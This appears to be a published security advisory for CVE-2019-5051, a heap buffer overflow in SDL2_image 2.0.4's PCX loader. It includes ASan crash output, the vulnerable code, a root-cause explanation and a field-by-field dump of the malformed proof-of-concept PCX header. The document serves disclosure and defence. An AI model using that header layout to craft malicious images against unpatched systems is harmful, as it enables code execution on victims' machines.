CVE-2019-5051
An exploitable heap-based buffer overflow vulnerability exists when loading a PCX file in SDL2_image, version 2.0.4. A missing error handler can lead to a buffer overflow and potential code execution. An attacker can provide a specially crafted image file to trigger this vulnerability.
Simple DirectMedia Layer SDL2_image 2.0.4
https://www.libsdl.org/projects/SDL_image/
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-390: Detection of Error Condition Without Action
This vulnerability is present in the SDL2_image library, which is used for loading images in different formats.
There is a vulnerability in the function responsible for loading PCX files. A specially crafted PCX file can lead to a heap buffer overflow and remote code execution.
Let’s investigate this vulnerability. After we attempt to load a malformed PCX file, the following state appears:
./showimage PoC.pcx
=================================================================
==25249==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb2c32848 at pc 0x08057d04 bp 0xbf987968 sp 0xbf987958
WRITE of size 1 at 0xb2c32848 thread T0
#0 0x8057d03 in IMG_LoadPCX_RW ../IMG_pcx.c:178
#1 0x804c301 in IMG_LoadTyped_RW ../IMG.c:195
#2 0x804beff in IMG_Load ../IMG.c:136
#3 0x804c3e7 in IMG_LoadTexture ../IMG.c:212
#4 0x804b65c in main ../showimage.c:101
#5 0xb7014636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#6 0x804ad50 (/home/icewall/bugs/SDL_src/SDL2_image-2.0.4/build/showimage+0x804ad50)
0xb2c32848 is located 0 bytes to the right of 264-byte region [0xb2c32740,0xb2c32848)
allocated by thread T0 here:
#0 0xb72c0dee in malloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96dee)
#1 0x81258d2 in SDL_malloc_REAL /home/icewall/bugs/SDL_src/SDL2-2.0.9/src/stdlib/SDL_malloc.c:5328
#2 0x813cbca in SDL_CreateRGBSurfaceWithFormat_REAL /home/icewall/bugs/SDL_src/SDL2-2.0.9/src/video/SDL_surface.c:122
#3 0x813ce89 in SDL_CreateRGBSurface_REAL /home/icewall/bugs/SDL_src/SDL2-2.0.9/src/video/SDL_surface.c:166
#4 0x80abf8f in SDL_CreateRGBSurface /home/icewall/bugs/SDL_src/SDL2-2.0.9/src/dynapi/SDL_dynapi_procs.h:473
#5 0x805797c in IMG_LoadPCX_RW ../IMG_pcx.c:141
#6 0x804c301 in IMG_LoadTyped_RW ../IMG.c:195
#7 0x804beff in IMG_Load ../IMG.c:136
#8 0x804c3e7 in IMG_LoadTexture ../IMG.c:212
#9 0x804b65c in main ../showimage.c:101
#10 0xb7014636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../IMG_pcx.c:178 IMG_LoadPCX_RW
Shadow bytes around the buggy address:
0x365864b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x365864c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x365864d0: 00 00 00 00 00 00 00 00 01 fa fa fa fa fa fa fa
0x365864e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x365864f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x36586500: 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa
0x36586510: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x36586520: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x36586530: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
0x36586540: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x36586550: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==25249==ABORTING
A heap-based buffer overflow appeared inside the IMG_LoadPCX_RW
function. Let’s take a closer look at the code where the vulnerability takes place:
IMG_pcx.c
146 bpl = pcxh.NPlanes * pcxh.BytesPerLine;
147 if (bpl > surface->pitch) {
148 error = "bytes per line is too large (corrupt?)";
149 }
150 buf = (Uint8 *)SDL_calloc(SDL_max(bpl, surface->pitch), 1);
151 row = (Uint8 *)surface->pixels;
152 for ( y=0; y<surface->h; ++y ) {
153 /* decode a scan line to a temporary buffer first */
154 int i, count = 0;
155 Uint8 ch;
156 Uint8 *dst = (src_bits == 8) ? row : buf;
157 if ( pcxh.Encoding == 0 ) {
158 if(!SDL_RWread(src, dst, bpl, 1)) {
159 error = "file truncated";
160 goto done;
161 }
162 } else {
163 for(i = 0; i < bpl; i++) {
164 if(!count) {
165 if(!SDL_RWread(src, &ch, 1, 1)) {
166 error = "file truncated";
167 goto done;
168 }
169 if( (ch & 0xc0) == 0xc0) {
170 count = ch & 0x3f;
171 if(!SDL_RWread(src, &ch, 1, 1)) {
172 error = "file truncated";
173 goto done;
174 }
175 } else
176 count = 1;
177 }
178 dst[i] = ch;
179 count--;
180 }
181 }
(...)
214 row += surface->pitch;
215 }
The overflow appears at line 178
. It happens because, as you can see at line 147
, the calculated bpl
value is checked against the surface->pitch
field. If bpl
is bigger, the error variable is set at line 148
, but no action is taken (like e.g in lines 159-160
where the goto done
instruction is executed).
That lack of action leads to a heap-based buffer overflow in a scenario where src_bits
is equal to 8, causing the dst
pointer to have the value of row
, where row == surface->pixels
.
The overflow will take place during the first iteration, when bpl > sizeof(surface->pixels)
, or later because in line 214
the row
pointer is moved by the value of surface->pitch
.
A dump of malformed PCX file :
struct PCX file 0h 80h Fg: Bg:
ubyte Manufacturer Ah 0h 1h Fg: Bg:
enum PCX_TYPE version v3up (5h) 1h 1h Fg: Bg:
ubyte encoding 1h 2h 1h Fg: Bg:
ubyte BitsPerPixel 8h 3h 1h Fg: Bg:
ushort Xmin FF7Fh 4h 2h Fg: Bg:
ushort Ymin FFFFh 6h 2h Fg: Bg:
ushort Xmax 0h 8h 2h Fg: Bg:
ushort Ymax 0h Ah 2h Fg: Bg:
ushort HDpi 100h Ch 2h Fg: Bg:
ushort VDpi 101h Eh 2h Fg: Bg:
ubyte Colormap[48] 10h 30h Fg: Bg:
ubyte Reserved 1h 40h 1h Fg: Bg:
ubyte NPlanes 1h 41h 1h Fg: Bg:
ushort BytesPerLine 1000h 42h 2h Fg: Bg:
ushort PaletteInfo 1001h 44h 2h Fg: Bg:
ushort HscreenSize 0h 46h 2h Fg: Bg:
ushort VscreenSize 100h 48h 2h Fg: Bg:
ubyte Filler[54] 4Ah 36h Fg: Bg:
An attacker fulling controlling the size of overwrite and its content can turn this heap-based buffer overflow in a remote code execution.
./showimage PoC.pcx
=================================================================
==25249==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb2c32848 at pc 0x08057d04 bp 0xbf987968 sp 0xbf987958
WRITE of size 1 at 0xb2c32848 thread T0
#0 0x8057d03 in IMG_LoadPCX_RW ../IMG_pcx.c:178
#1 0x804c301 in IMG_LoadTyped_RW ../IMG.c:195
#2 0x804beff in IMG_Load ../IMG.c:136
#3 0x804c3e7 in IMG_LoadTexture ../IMG.c:212
#4 0x804b65c in main ../showimage.c:101
#5 0xb7014636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#6 0x804ad50 (/home/icewall/bugs/SDL_src/SDL2_image-2.0.4/build/showimage+0x804ad50)
0xb2c32848 is located 0 bytes to the right of 264-byte region [0xb2c32740,0xb2c32848)
allocated by thread T0 here:
#0 0xb72c0dee in malloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96dee)
#1 0x81258d2 in SDL_malloc_REAL /home/icewall/bugs/SDL_src/SDL2-2.0.9/src/stdlib/SDL_malloc.c:5328
#2 0x813cbca in SDL_CreateRGBSurfaceWithFormat_REAL /home/icewall/bugs/SDL_src/SDL2-2.0.9/src/video/SDL_surface.c:122
#3 0x813ce89 in SDL_CreateRGBSurface_REAL /home/icewall/bugs/SDL_src/SDL2-2.0.9/src/video/SDL_surface.c:166
#4 0x80abf8f in SDL_CreateRGBSurface /home/icewall/bugs/SDL_src/SDL2-2.0.9/src/dynapi/SDL_dynapi_procs.h:473
#5 0x805797c in IMG_LoadPCX_RW ../IMG_pcx.c:141
#6 0x804c301 in IMG_LoadTyped_RW ../IMG.c:195
#7 0x804beff in IMG_Load ../IMG.c:136
#8 0x804c3e7 in IMG_LoadTexture ../IMG.c:212
#9 0x804b65c in main ../showimage.c:101
#10 0xb7014636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../IMG_pcx.c:178 IMG_LoadPCX_RW
Shadow bytes around the buggy address:
0x365864b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x365864c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x365864d0: 00 00 00 00 00 00 00 00 01 fa fa fa fa fa fa fa
0x365864e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x365864f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x36586500: 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa
0x36586510: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x36586520: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x36586530: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
0x36586540: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x36586550: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==25249==ABORTING
2019-05-08 - Vendor Disclosure
2019-07-02 - Vendor Patched; Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.